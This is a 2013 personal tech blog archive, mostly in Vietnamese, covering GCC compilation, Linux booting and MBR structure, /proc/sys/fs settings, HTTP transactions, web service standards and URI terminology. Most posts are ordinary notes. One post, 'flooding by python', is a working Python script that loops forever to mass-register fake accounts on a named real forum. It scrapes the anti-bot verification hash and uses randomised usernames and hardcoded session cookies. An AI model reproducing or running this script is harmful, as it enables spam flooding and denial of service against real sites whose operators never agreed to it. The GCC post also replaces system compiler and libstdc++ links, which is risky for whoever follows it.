Saturday 15 June 2013

Compile GCC 4.6.3

Let’s compiling your gcc, it’s so fun. Following is the very basic  instructions for newbie. If you want to compile with more option, you can go to homepage gcc.gnu.org/install/ for details.
Go to and find which pakage needed ftp.gnu.org/gnu
1. build & install gmp:
tar jxf gmp-4.3.2.tar.bz2 &&cd gmp-4.3.2/
./configure --prefix=/usr/local/gmp
make && make install
cd ..
2. build & install mpfr:
tar jxf mpfr-2.4.2.tar.bz2 ;cd mpfr-2.4.2/
./configure --prefix=/usr/local/mpfr --with-gmp=/usr/local/gmp
make && make install
cd ..
3. build & install mpc:
tar xzf mpc-0.8.1.tar.gz ;cd mpc-0.8.1
./configure --prefix=/usr/local/mpc --with-mpfr=/usr/local/mpfr --with-gmp=/usr/local/gmp
make && make install
cd ..
4. build & install gcc4.6.3
tar jxf gcc-4.6.3.tar.bz2 ;cd gcc-4.6.3
./configure --prefix=/usr/local/gcc --enable-threads=posix --disable-checking --disable-multilib --enable-languages=c,c++ --with-gmp=/usr/local/gmp -w-ith-mpfr=/usr/local/mpfr/ --with-mpc=/usr/local/mpc/
if [ $? -eq 0 ];then
echo "this gcc configure is success"
else
echo "this gcc configure is failed"
fi
export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/local/mpc/lib:/usr/local/gmp/lib:/usr/local/mpfr/lib/
make && make install
[ $? -eq 0 ] && echo install success
5. set up the gcc env:
--> this is really important.
cp gcc.4.6.3.conf /etc/ld.so.conf.d/gcc.4.6.3.conf
ldconfig
mv /usr/bin/gcc /usr/bin/gcc_old
mv /usr/bin/g++ /usr/bin/g++_old
mv /usr/bin/c++ /usr/bin/c++_old
ln -s -f /usr/local/gcc/bin/gcc /usr/bin/gcc
ln -s -f /usr/local/gcc/bin/g++ /usr/bin/g++
ln -s -f /usr/local/gcc/bin/c++ /usr/bin/c++
cp /usr/local/gcc/lib64/libstdc++.so.6.0.16 /usr/lib64/.
mv /usr/lib64/libstdc++.so.6 /usr/lib64/libstdc++.so.6.bak
ln -s -f /usr/lib64/libstdc++.so.6.0.16 /usr/lib64/libstdc++.so.6
6. finished.
you could run gcc --version to check if the current gcc version is gcc4.6.3, and also need to check g++, to see if the version is changed to g++4.6.3 too.


Linux Booting Process


Booting process bắt đầu từ BIOS, BIOS sẽ nói cho computer biết là ổ cứng nào available và cố tìm ra active MBR record trên primary hard drive. Sau đó, MBR record chỉ cho booting process biết vị trí /boot partition để thực hiện đọc và kiểm tra khi thực hiện boot loader (trong trường hợp này là GRUB)
Bây giờ việc booting của computer được giao cho GRUB boot loader, nó sẽ load grub.conf file và kernel của hệ thống Linux, sau đó mount root partition (trong trường hợp này là /dev/sda3). Việc thực thi tiếp tục với kernel image nằm trong /boot partition. Kernel được load lên, và thực thi được chuyển cho Gentoo init process (với PID là 1) đã nằm trong partition hệ thống và chịu trách nhiệm cho việc khởi động toàn bộ hệ thống.
Init process sẽ thực hiện sẽ lo mọi thứ để hệ thống có thể boot thành công. Một trong những việc được thực hiện khi khởi động là chạy các script startup (thường trong thư mục /etc/rc.d/), cũng như việc mount các partition được liệt kê trong file /etc/fstab. Một khi mọi thưc được hoàn thành, login window xuất hiện, cho phép chúng ta login vào hệ thống.

BIOS và MBR

 Một trong những thành phần quan trọng của máy tính là BIOS, bắt đầu cho việc booting process ngay sau khi bấm nút turn on máy tính. Nhưng tại sao chúng ta lại cần BIOS? Lí do là vì boot loader nằm trong hard drive, ngay sau khi mở máy, processor không biết bất kì thông tin gì về boot loader nằm trên hard drive. Công việc của BIOS là tìm và load boot loader đã được cài.
Cụ thể hơn, ngay sau khi mở máy, BIOS sẽ thực hiện scan tất cả các thiết bị, xác định memory available,… Sau đó, BIOS scan bootable device được config trong BIOS setting, BIOS tìm thấy hard drive chứa MBR (Master Boot Record), đây cũng là nới chứa primary boot loader code.
Ngay khi tìm thấy MBR record, nó chuyển quyền điều khiển với primary boot loader. Boot loader scan toàn bộ bảng partition được ghi trong MBR record và tìm kiểm active partition, nơi chứa sencondary boot loader.
Let’s dump and explore:
dd if=/dev/sda of=/tmp/mbr.bin bs=512 count=1
1+0 records in
1+0 records out
512 bytes (512 B) copied, 0.0358849 s, 14.3 kB/s
Xem thông tin của file mbr:
# file mbr.bin | tr ';' '\n'
mbr.bin: x86 boot sector
 partition 1: ID=0x83, active, starthead 32, startsector 2048, 40103936 sectors
 partition 2: ID=0x5, starthead 254, startsector 40108030, 1832962 sectors, code offset 0x63

Chúng ta có thể thấy được 446 byte đầu dành cho boot loader. Có 4 partion entry, cho chúng ta thấy được tại sao chỉ có thể set up 4 primary partition, nếu muốn thêm chúng ta phải sử dụng logical partition. MBR kết thúc với singature 0x55a.
# xxd /tmp/mbr.bin | sed 's/  .*//g'
0000000: eb63 9010 8ed0 bc00 b0b8 0000 8ed8 8ec0
0000010: fbbe 007c bf00 06b9 0002 f3a4 ea21 0600
0000020: 00be be07 3804 750b 83c6 1081 fefe 0775
0000030: f3eb 16b4 02b0 01bb 007c b280 8a74 018b
0000040: 4c02 cd13 ea00 7c00 00eb fe00 0000 0000
0000050: 0000 0000 0000 0000 0000 0080 0100 0000
0000060: 0000 0000 fffa 9090 f6c2 8075 02b2 80ea
0000070: 747c 0000 31c0 8ed8 8ed0 bc00 20fb a064
0000080: 7c3c ff74 0288 c252 bb17 0480 2703 7406
0000090: be88 7de8 1c01 be05 7cf6 c280 7448 b441
00000a0: bbaa 55cd 135a 5272 3d81 fb55 aa75 3783
00000b0: e101 7432 31c0 8944 0440 8844 ff89 4402
00000c0: c704 1000 668b 1e5c 7c66 895c 0866 8b1e
00000d0: 607c 6689 5c0c c744 0600 70b4 42cd 1372
00000e0: 05bb 0070 eb76 b408 cd13 730d f6c2 800f
00000f0: 84d0 00be 937d e982 0066 0fb6 c688 64ff
0000100: 4066 8944 040f b6d1 c1e2 0288 e888 f440
0000110: 8944 080f b6c2 c0e8 0266 8904 66a1 607c
0000120: 6609 c075 4e66 a15c 7c66 31d2 66f7 3488
0000130: d131 d266 f774 043b 4408 7d37 fec1 88c5
0000140: 30c0 c1e8 0208 c188 d05a 88c6 bb00 708e
0000150: c331 dbb8 0102 cd13 721e 8cc3 601e b900
0000160: 018e db31 f6bf 0080 8ec6 fcf3 a51f 61ff
0000170: 265a 7cbe 8e7d eb03 be9d 7de8 3400 bea2
0000180: 7de8 2e00 cd18 ebfe 4752 5542 2000 4765
0000190: 6f6d 0048 6172 6420 4469 736b 0052 6561
00001a0: 6400 2045 7272 6f72 0d0a 00bb 0100 b40e
00001b0: cd10 ac3c 0075 f4c3 6f1f 0100 0000 8020
00001c0: 2100 83fe ffff 0008 0000 00f0 6302 00fe
00001d0: ffff 05fe ffff feff 6302 02f8 1b00 0000
00001e0: 0000 0000 0000 0000 0000 0000 0000 0000
00001f0: 0000 0000 0000 0000 0000 0000 0000 55aa
Secondary boot loader có thể là GRUB hay LILO và Bootmgr cho Window. Công việc của nó là load kernel và boot OS. Primary boot loader tìm active partition và load VBR (Volume Boot Record) vào bộ nhớ. VBR là boot sector có chứa machine code cho các chương trình bootstrapping, thường được hệ điều hành lưu trong các phần khác của device.
Thường có trường hợp install GRUB hoặc LILO boot loader trực tiếp vào MBR, vì nếu chúng ta không làm vậy, BIOS vẫn cần primary bootloader sau đó load secondary one. Nhưng tại sao chúng ta không thể cài GRUB trực tiếp vào MBR như primary boot loader. Đây là thực sự cách mặc định mà GRUB/LILO được cài đặt hiện nay.
Để install GRUB như primary boot loader, ta sẽ install nó trên MBR như sau:
# grub-install --no-floppy /dev/sda
Để install GRUB trên VBR của partition /dev/sda1
# grub-install --no-floppy /dev/sda1
Nhìn vào trong thư mục /boot/grub:
# ls /boot/grub/
default     e2fs_stage1_5  ffs_stage1_5  iso9660_stage1_5  menu.lst        reiserfs_stage1_5  stage1  stage2.old       ufs2_stage1_5    xfs_stage1_5

device.map  fat_stage1_5   grub.conf     jfs_stage1_5      minix_stage1_5  splash.xpm.gz      stage2  stage2_eltorito  vstafs_stage1_5
ta có thể biết boot loader hỗ trợ những kiểu file system. GRUB supports the following file systems: ext2, DOS FAT16, FAT32, FFS, JFS, ReiserFS, MinixFS, UFS, XFS, VstaFS and Iso9660.

Monday 10 June 2013

Document /proc/sys/fs/*

file-max & file-nr
The value in file-max denotes the maximum number of file-handles that the Linux kernel will allocate. When you get lots of error messages about running out of file handles, you might want to increase this limit. Historically,the kernel was able to allocate file handles dynamically, but not to free them again. The three values in file-nr denote the number of allocated file handles, the number of allocated but unused file handles, and the maximum number of file handles. Linux 2.6 always reports 0 as the number of free file handles -- this is not an error, it just means that the number of allocated file handles exactly matches the number of used file handles. Attempts to allocate more file descriptors than file-max are reported with printk, look for "VFS: file-max limit / reached".
nr_open (ulimit -n)
This denotes the maximum number of file-handles a process can allocate. Default value is 1024*1024 (1048576) which should be enough for most machines. Actual limit depends on RLIMIT_NOFILE resource limit.
inode-max, inode-nr & inode-state
As with file handles, the kernel allocates the inode structures dynamically, but can't free them yet. The value in inode-max denotes the maximum number of inode handlers. This value should be 3-4 times larger than the value in file-max, since stdin, stdout and network sockets also need an inode struct to handle them. When you regularly run out of inodes, you need to increase this value. The file inode-nr contains the first two items from inode-state, so we'll skip to that file... Inode-state contains three actual numbers and four dummies. The actual numbers are, in order of appearance, nr_inodes, nr_free_inodes and preshrink. Nr_inodes stands for the number of inodes the system has allocated, this can be slightly more than inode-max because Linux allocates them one pageful at a time. Nr_free_inodes represents the number of free inodes (?) and preshrink is nonzero when the nr_inodes > inode-max and the system needs to prune the inode list instead of allocating more.
overflowgid & overflowuid:
Some filesystems only support 16-bit UIDs and GIDs, although in Linux UIDs and GIDs are 32 bits. When one of these filesystems is mounted with writes enabled, any UID or GID that would exceed 65535 is translated to a fixed value before being written to disk. These sysctls allow you to change the value of the fixed UID and GID. The default is 65534.
suid_dumpable
This value can be used to query and set the core dump mode for setuid or otherwise protected/tainted binaries. The modes are 0 - (default) - traditional behaviour. Any process which has changed privilege levels or is execute only will not be dumped 1 - (debug) - all processes dump core when possible. The core dump is owned by the current user and no security is applied. This is intended for system debugging situations only. Ptrace is unchecked. 2 - (suidsafe) - any binary which normally would not be dumped is dumped readable by root only. This allows the end user to remove such a dump but not access it directly. For security reasons core dumps in this mode will not overwrite one another or other files. This mode is appropriate when administrators are attempting to debug problems in a normal environment.
super-max & super-nr
These numbers control the maximum number of superblocks, and thus the maximum number of mounted filesystems the kernel can have. You only need to increase super-max if you need to mount more filesystems than the current value in super-max allows you to.
aio-nr & aio-max-nr
aio-nr shows the current system-wide number of asynchronous io requests. aio-max-nr allows you to change the maximum value aio-nr can grow to.
/proc/sys/fs/mqueue - POSIX message queues filesystem
The "mqueue" filesystem provides the necessary kernel features to enable the creation of a user space library that implements the POSIX message queues API (as noted by the MSG tag in the POSIX 1003.1-2001 version of the System Interfaces specification.) The "mqueue" filesystem contains values for determining/setting the amount of resources used by the file system. /proc/sys/fs/mqueue/queues_max is a read/write file for setting/getting the maximum number of message queues allowed on the system. /proc/sys/fs/mqueue/msg_max is a read/write file for setting/getting the maximum number of messages in a queue value. In fact it is the limiting value for another (user) limit which is set in mq_open invocation. This attribute of a queue must be less or equal then msg_max. /proc/sys/fs/mqueue/msgsize_max is a read/write file for setting/getting the maximum message size value (it is every message queue's attribute set during its creation).
/proc/sys/fs/epoll/max_user_watches - Configuration options for the epoll interface
This directory contains configuration options for the epoll(7) interface. Every epoll file descriptor can store a number of files to be monitored for event readiness. Each one of these monitored files constitutes a "watch". This configuration option sets the maximum number of "watches" that are allowed for each user. Each "watch" costs roughly 90 bytes on a 32bit kernel, and roughly 160 bytes on a 64bit one. The current default value for max_user_watches is the 1/32 of the available low memory, divided for the "watch" cost in bytes.

UNIX Architecture

OS cũng như một phần mềm điều khiển hardware resource của máy tính và cung cấp môi trường cho các chương trình chạy.  Một cách tổng quát, người ta phần mềm đó là kernel, vì nó khá nhỏ và nằm trong môi trường lõi. 

Hình: Architecture of the UNIX operating system



Cổng giao tiếp (interface) với kernel ta phải dùng system call (đây cũng là một lớp phần mềm). Thư viện của các hàm chức năng được xây dựng dựa trên system call này, ứng dụng có khả năng tùy ý sử dụng một trong hai. Shell là một ứng dụng đặc biệt cung cấp một interface cho chạy ứng dụng khác.

Khái quát hơn, OS là kernel và tất cả các phần mềm làm cho máy tính có ích cho người dùng. Các phần mềm đó bao gồm system ulity, application, shell, librabry of common function...

Sunday 9 June 2013

HTTP transaction overview

Requests

Gõ địa chỉ URL như sau vào browser : http://hypothetical.ora.com:80/
Browser sẽ phân tích URL như sau:
http:// Sử dụng HTTP (Hypertext Transfer Protocol)
hypothetical.ora.com Hostname của server sẽ liên hệ
:80 Kết nối vào port 80. Port range từ 1-65535, mặc định nếu không ghi rõ :port theo sau thì browser sẽ sử dụng port 80
Đường dẫn thư mục
Do đó browser sẽ kết nối đến hypothetical.ora.com port 80 sử dụng giao thức HTTP. Request header sẽ như sau:
1.     GET / HTTP/1.1
2.     Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
3.     Accept-Language: en-us
4.     Accept-Encoding: gzip, deflate
5.     User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT)
6.     Host: hypothetical.ora.com
7.     Connection: Keep-Alive

Dòng 1: Sử dụng phương thức GET (còn nhiều phương thức khác nữa) để yêu cầu lấy document tại / , version của giao thức HTTP mà browser sử dụng.
Dòng 2: Loại tài liệu nào sẽ được browser chấp nhận.
Dòng 3: Chỉ ra ngôn ngữ sử dụng (ở đây là English). Có thể khai báo nhiều loại ngôn ngữ nếu trên server có cùng một loại tài liệu mà có nhiều ngôn ngữ khác nhau.
Dòng 4: Xác định thuật toán compress nào mà client có thể hiểu khi nhận response của server
Dòng 5: Thông tin về client, browser.
Dòng 6: nói với server rằng client ngĩ host name của server là như zậy. Header này bắt buộc trong HTTP 1.1, nhưng tùy chọn trong HTTP 1.0. Vì server có thể có nhiều hostname, client cần phải xác định hostname nào sẽ nhận được request. Trong trường hợp này web server có thể có nhiều cây tài liệu khác nhau cho mỗi hostname. Nếu client không xác định hostname thì server không thể xác định cây tài liệu nào sử dụng.
Dòng 7: nói với server giữ kết nối cho đến bảo ngắt kết nối thì thôi (đây là mặc định trong HTTP 1.1). Đối với HTTP 1.0 kết nối sẽ được đóng lại ngay sau khi client requeset.

Responses

Với request yêu cầu như trên, server sẽ tìm kiếm resource có liên quan đến “/” và trả nó về cho browser, resource liên quan đến URL phụ thuộc vào cách server được implemented. Đó có thể là file static hoặc dynamic. Ví dụ server trả về response như sau:
1.           HTTP/1.1 200 OK
2.           Date: Mon, 06 Dec 1999 20:54:26 GMT
3.           Server: Apache/1.3.6 (Unix)
4.           Last-Modified: Fri, 04 Oct 1996 14:06:11 GMT
5.           ETag: "2f5cd-964-381e1bd6"
6.           Accept-Ranges: bytes
7.           Content-length: 327
8.           Connection: close
9.           Content-type: text/html
10.          
11.         <title>Sample Homepage</title>
12.         <img src="/images/oreilly_mast.gif">
13.         <h1>Welcome</h1>
14.         Hi there, this is a simple web page.  Granted,
15.         it may not be as elegant as some other web
16.         pages you've seen on the net, but there are
17.         some common qualities:
18.          
19.         <ul>
20.         <li> An image,
21.         <li> Text,
22.         <li> and a <a href="/example2.html"> hyperlink. </a>
23.         </ul>
Từ dòng 1-9 là response header, phần còn lại là body (hay còn gọi là body of entity  hay entity-body)
Dòng 1: Giao thức HTTP mà server sử dụng. Theo sau là status code, ở đây là 200 cho biết tài liệu được tìm thấy và trả về cho client.
Dòng 2: Thời gian hiện tại của server, theo định dạng GMT
Dòng 3: Cho biết loại phần mêm nào server sử dụng, ở đây là Apache version 1.3.6 chạy trên Unix
Dòng 4: xác định thời gian chỉnh sửa gần nhất của tài liệu được request bởi client. Mục đích modification time là phục vụ cho việc caching, browser sẽ không cần request toàn bộ file đó nếu modification time của nó không thay đổi.
Dòng 5: xác định entity tag. Cái này cung cấp cho web client một số định danh duy nhất cho server resource. Rất khó cho 2 server resource khác nhau có cùng một entity tag. Đây là cơ chế mạnh mẽ cho việc caching.
Dòng 6: cho browser biết server có khả năng trả về một một phần (subsection) của tài liệu, thay vì trả về toàn bộ document mỗi khi được request. (This is useful for retrieving records in a document, which may be useful for database and streaming multimedia applications.) server cho biết khoảng chấp nhận request cho một resource (to indicate its acceptance of range request for a resource). Origin servers that accept byte-range request MAY send : Accept-Ranges: bytes
Dòng 7: cho client biết body kích thước bao nhiêu byte.
Dòng 8: xác định kết nối sẽ đóng sau khi server response. Nếu client muốn gửi một request khác thì nó phải mở một kết nối khác đến server.
Dòng 9: cho client biết loại tài liệu nào server trong response của nó. Ở đây là HTML.
Figure 1.1. A simple transaction

Structure of HTTP Transactions

Tổng quát hóa header của request và response, ta có 2 hình sau:
Figure 1.2. Structure of a client request

HTTP transaction không cần sử dụng hết tất cả các header. Có thể suy ra ta có thể thực hiện HTTP request mà không cần điền bất kì thông tin header nào cả. Ví dụ, trường hợp đơn giản nhất, request GET / HTTP/1.0 không cần bất kì header nào cũng đủ cho hầu hết các server hiểu được client.
HTTP requests thành phần tổng quát sau:
Dòng đâu tiên chỉ ra method mà client sử dụng, loại tài liệu (entity) được áp dụng lên, HTTP version mà client đang dùng. Method trong HTTP 1.1 có thể là GET, POST, HEAD, PUT, LINK, UNLINK, DELETE, OPTIONS, and TRACE. HTTP 1.0 không hỗ trợ OPTIONS và TRACE Không phải tất cả method đều được hỗ trợ bở server.
General message headers là optional headers được sử dụng cả trong client request và server response. Xác định những thông tin chung như thời gian hiện tại.
Request headers cho server biết thêm thông tin về client.
Entity headers được sử dụng khi một tài liệu (entity) được gửi đi. Nó chỉ ra những thông tin về entity như encoding scheme, length, type và origin.
Figure 1.3. Structure of a server response

Trong server response, general header và entity header giống với những gì được sử dụng trong client request. Entity-body giống trong client request, chỉ khác ở chỗ nó được sử dụng để response.
Dòng đầu tiên chỉ ra version HTTP mà server sử dụng. Server sẽ có gắng để phù hợp với version tương thích nhất của HTTP mà client đang dùng, status code chỉ ra kết quả của request, và reason-phrase là human-readable description của status code.

Saturday 8 June 2013

Web Service Standards in short

Web Service stack
Messaging Standard: với mục đích cung cấp framework cho việc trao đổi thông tin trong môi trường phân quyền hay phân tán. Các standard của nó:                                                                                                                                                                                                                                                 
·         SOAP (1.1 hay 1.2)
·         WS-Addressing
·         WS-notification
Description and Discovery Standards: tập hợp các service hỗ trợ việc tìm kiếm của business, Làm cho các web service available và đưa ra các interface có thể được sử dụng bởi dịch vụ khác.
·         UDDI 3.0.2
·         WSDL 1.1
Security Standards:  cho phép việc giao tiếp được an toàn hơn.
·         SAML 2.0   (Security Assertion Markup Language)
·         SPML 2.0   (Service Provisioning Markup Language)
·         XACML 2.0 (eXtensible Access Control Markup Language)
·         WS-Security 1.1
Reliable Messaging Standards:  mục đích cho phép message được vận chuyển một cách tin cậy giữa các ứng dụng phân tán khi có sự cố về hệ thống hay network.
·         WS-ReliableMessaging 1.1
·         WS-Reliability 1.1
·         WS-RM Policy Assertion 1.1
Transaction Standards: định ra cơ chế  cho việc phối hợp giao dịch giữa các Web service domain và cung cấp chất lượng giao dịch vào ứng dụng Web service.
·         WS-Coordination            
·         WS-Transaction
·         WS-Context
Business Process Standards:  xác định thứ tự các hành động từ một tập hợp các web service, dữ liệu được chia sẽ giữa chúng, đối tác nào có liên quan và các vấn đề liên quan đến nhiều dịch vụ và tổ chức tham gia thế nào.
·         WS-BPEL 2.0 (Business Process Execution Language)
·         WS-Choreography 1.0
Management specifications are defined in order to discover the existence, availability, performance, usage, as well as the control and configuration of a web service.
·         WS-Management
·         Management Using Web Services 1.1
·         Management of Web Services 1.1

Problem with WS Standards

Rất nhiều tổ chức tham gia phát triển các chuẩn của web service, mỗi tổ chức đều có những điểm riêng về cấp độ và sức ảnh hưởng. Điều này dẫn đến các chuẩn có sự trùng lập, conflict lẫn nhau.
Giải quyết: Ta có thể miêu tả các chuẩn của web service theo dạng mô hình (pattern). Sau đó so sánh các chuẩn đó sử dụng biểu đồ UML class cùng với các thành phần của nó:
1.       So sánh vấn đề nó giải quyết
2.       So sánh phạm vi mà nó giải quyết vấn đề
3.       So sánh cách nó giải quyết vấn đề
4.       Trong biểu đồ lớp, tìm các component tương tự nhau của giải pháp và kiến trúc tương tự nhau xây dựng nên các component đó.
A pattern is a recurring combination of meaningful units that occurs in some context.Patterns embody experience and good design practices. Prevent errors, save time.
Kết quả chúng ta tìm ra những điểm trùng lắp và mâu thuẫn nhau giữa chúng. Những Pattern cho các web service standard:
·         XACML (eXtensible Access Control Markup Language) Policy Language
·         XACML Access Control Evaluation
·         WSPL (Web Service Policy Language)
·         WS-Policy
·         SAML (Security Assertion Markup Language)

Friday 7 June 2013

Web Service Concepts

Web Service

Là phần mềm chức năng luôn sẵn sàng trên Internet và bất kì client nào cũng có thể sử dụng chức năng này mà không cần quan tâm đến ngôn ngữ hay platform. Web Service có thể được tạo ra bởi Java, .Net, C/C++… Web service đóng vai trò như một web application component hoặc một đoạn code chức năng, có nghĩa là ta có thể invoke web service hiện có trong project của mình. Điều này khuyến khích việc tái sử dụng code và khả năng phối hợp.

XML

Là viết tắt của Extensible Markup Language. XML được thiết kế để lưu trữ và vận chuyển dữ liệu. Ưu  điểm của XML là khả năng phối hợp của nó. XML là một platform độc lập, cho phép các ứng dụng giao tiếp với nhau mà không cần quan tâm đến ngôn ngữ của nhau.

SOAP

Là viết tắt của Simple Object Access Protocol – Service Oriented Access Protocol. SOAP sử dụng giao thức mở, dựa trên XML protocol. Ứng dụng có thể giao tiếp với nhau sử dụng SOAP trên HTTP. SOAP có thể được xác định như một ngôn ngữ độc lập, platform độc lập và dựa trên XML protocol. SOAP là dạng chuẩn của W3C

REST

Là viết tắt của Representational State Transfer. REST là mẫu kiến trúc dùng cho hệ thống phân tán.  Nói cách đơn giản, REST là cách để thiết kế kiến trúc của web project.

REST based Web Service

Web service được thiết kế sử dụng REST thì được gọi là RESTful web service hay là REST based Web Service. RESTful web service khá là nhẹ, nó expose “Resources” thay vì “Actions” ra ngoài. Trong SOAP web service, “Actions” được đưa ra ngoài.
Vd:  Calculator web service cho phép client sử dụng “action” được đưa ra ngoài như: Cộng, Trừ, Nhân, Chia, đây là SOAP based web service. Nếu ta sử dụng REST, ta phải đưa ra ngoài resource của Calculator thay vì đưa ra ngoài action của nó, client sẽ sử dụng Calculator như là resource.

WSDL

Là viết tắt của Web Services Desciption (Definition) Language. Bản chất WSDL là một XML document. Nó miêu tả một web service, và cho biết làm thế nào để truy cập vào web service đó. WSDL đóng vai trò như một web service contact giảu client và Web Service Developer.

UDDI

Là viết tắt của Universal Description, Discovery and Integration, là một dịch vụ hướng dẫn trên Internet. Nếu muốn sử dụng web service nào đó, ta phải nhìn vào UDDI và lấy WSDL của web service đó về. Trong trường hợp khác, ta tạo ra một web service và muốn đưa nó ra bên ngoài cho mọi người sử dụng, ta phải đăng kí nó với UDDI. Mọi người sẽ có thể tìm kiếm, định vị được Web Service của ta và lấy WSDL về sử dụng. UDDI giao tiếp thông qua SOAP. UDDI được xây dựng trên platform .NET

Bottom – Top Web Service Approach

Web service developer có 2 lựa chọn phát triển là Bottom-Top và Top-Bottom. Theo cách tiếp cận Bottom-Top, Đầu tiên Java class (hoặc bất kì ngôn ngữ nào khác) được thiết kế cho web service. Sau đó, WSDL được tạo ra cho web service được phát triển. Cách tiếp cận này tốt khi có ít sự thay đổi trong thiết kế web service.

Top – Bottom Web Service Approach

Trong cách tiếp cận này, đầu tiên WSDL cho web service được thết kế và sau đó, dựa trên đây, Java class (hay bất kì ngôn ngữ nào) cho web service được implement.

MTOM

Là viết tắt của Message Transmission Optimization Mechanism. Nó được sử dụng để trao đổi dữ liệu binary giữa các web service.


URI vs URL vs URN vs URC

URI là gì?

Uniform Resource Identifier (URI) là một chuỗi kí tự được sử dụng để định danh tên, hoặc tài nguyên trên Internet. Việc định danh này cho phép tương tác với các tài nguyên trên mạng sử dụng một giao thức xác định. Schemes specifying a concrete syntax and associated protocols define each URI.
URI xác định tài nguyên theo vị trí, theo tên, hoặc cả 2. URI có 2 nhánh là URL và URN

URL là gì?

Uniform Resource Locator (URL) là tập con của URI, xác định tài nguyên có tồn tại hay không, và cơ chế lấy nó về. URL != URI
URL xác định rõ cách tài nguyên có thể lấy về, không nhất thiết phải là HTTP url (http://) mà có thể là ftp:// hoặc smb://

URN là gì?

Uniform Resource Name là URI mà sử dụng URN scheme, và không bao hàm tính sẵn sàng của tài nguyên. Nó chỉ đưa ra tính miêu tả cho tài nguyên mà không thực sự trỏ đến nó. vd: urn:isbn:90-12-12345

URC là gì?

Uniform Resource Characteristics (URCs) were proposed as a semi-standard form of metadata that described World Wide Web Resources that were identified by a URI. In the early days of the Internet URC was planned as "a set of meta-level information about a resource. Some examples of such meta-information are: owner, encoding, access restrictions and cost."


The effort to standardize URCs within the IETF faltered after its initial introduction. The need for standard metadata description of a Resource has been solved by various technologies such as Resource Description Framework and Meta tags.

Thursday 6 June 2013

flooding by python

import httplib
import urllib
import re
from random import randrange
def step1():
    global hiddenkey
    params1 = urllib.urlencode({'s':'',
            'securitytoken': 'guest',
            'do': 'register',
            'url':'http://vnhfamily.us/forum/',
            'month':'',
            'day':'',
            'year':'',
            'who':'adult',
            'agree':'1'})

    headers1 =  ({"Host": "vnhfamily.us",
                    "User-Agent": "Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0",
                    "Referer": "http://vnhfamily.us/forum/register.php?do=signup",
                    "Cookie": "PHPSESSID=a4fc2f131455eae8900afa8f3ea289bd; IDstack=%2C3053%2C%2C3054%2C%2C3052",
                    "Authorization": "Basic Vk5IOlZOSA==",
                    "Connection": "keep-alive",
                    "Content-type": "application/x-www-form-urlencoded",
                    "Content-Length": "111"})

    conn1 = httplib.HTTPConnection("www.vnhfamily.us",80)
    conn1.request("POST", "/forum/register.php?do=register", params1, headers1)
    response1 = conn1.getresponse()    
    print response1.status, response1.reason
    data = response1.read()
    hiddenkey = re.search('name="humanverify\[hash\]" value="(.*)" />',data)
    print "Get humanverify is Ok"
    print "Key: %s" % (hiddenkey.group(1))
    conn1.close()

def step2():
    i = randrange(9999)
    user = 'parkdream%s' % (i)
    email = 'idesign199%s@gmail.com' % (i)
    c_email = 'idesign199%s@gmail.com' % (i)

    print user,"\n",email

    params = urllib.urlencode({'s':'',
            'securitytoken': 'guest',
            'do': 'addmember',
            'url':'http://vnhfamily.us/forum/index.php',
            'agree':'1',
            'password_md5':'1f5d020ac0ce982f5846897871b6b5ec',
            'passwordconfirm_md5':'1f5d020ac0ce982f5846897871b6b5ec',
            'day':'0',
            'month':'0',
            'year':'0',
            'username':'%s'%(user),
            'password':'',
            'passwordconfirm':'',
            'email':'%s'%(email),
            'emailconfirm':'%s'%(c_email),
            'humanverify[input]':'2',
            'humanverify[hash]':'%s'%(hiddenkey.group(1)),
            'referrername':'',
            'timezoneoffset':'7',
            'dst':'2',
            'options[adminemail]':'1'})

    headers =  ({
                    "Host": "vnhfamily.us",
                    "User-Agent": "Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0",
                    "Referer": "http://vnhfamily.us/forum/register.php?do=register",
                    "Cookie": "PHPSESSID=a4fc2f131455eae8900afa8f3ea289bd; IDstack=%2C3053%2C%2C3054%2C%2C3052%2C%2C3055%2C; bblastvisit=1370460727; bblastactivity=0",
                    "Authorization": "Basic Vk5IOlZOSA==",
                    "Connection": "keep-alive",
                    "Content-type": "application/x-www-form-urlencoded",
                    "Content-Length": "470"})

    conn = httplib.HTTPConnection("www.vnhfamily.us",80)
    conn.request("POST", "/forum/register.php?do=addmember", params, headers)
    response = conn.getresponse()
    print response.status, response.reason
    data = response.read()
    print "Ok Song"
    conn.close()

if __name__ == "__main__":
    while True:
        step1()
        step2()

Tuesday 4 June 2013

Marshalling - Serialization - Deflate

Mashalling - quá trình thực hiện chuyển đổi vùng nhớ của một object thành một định dạng dữ liệu phù hợp cho việc lưu trữ hoặc vận chuyển, điển hình được sử dụng khi dữ liệu di chuyển giữa các thành phần khác nhau của chương trình hay từ chương trình này sang chương trình khác. Quá trình này cũng giống như Serialization.

Serialization - quá trình chuyển đổi dữ liệu có cấu trúc hoặc trạng thái đối tượng thành định dạng có thể lưu trữ (vd: file, memory buffer, truyền qua mạng) và lát sau phục hồi lại trong cùng máy tính hoặc trên môi trường máy khác.

Quá trình ngược lại được gọi là unmarshalling, deserialization, inflate.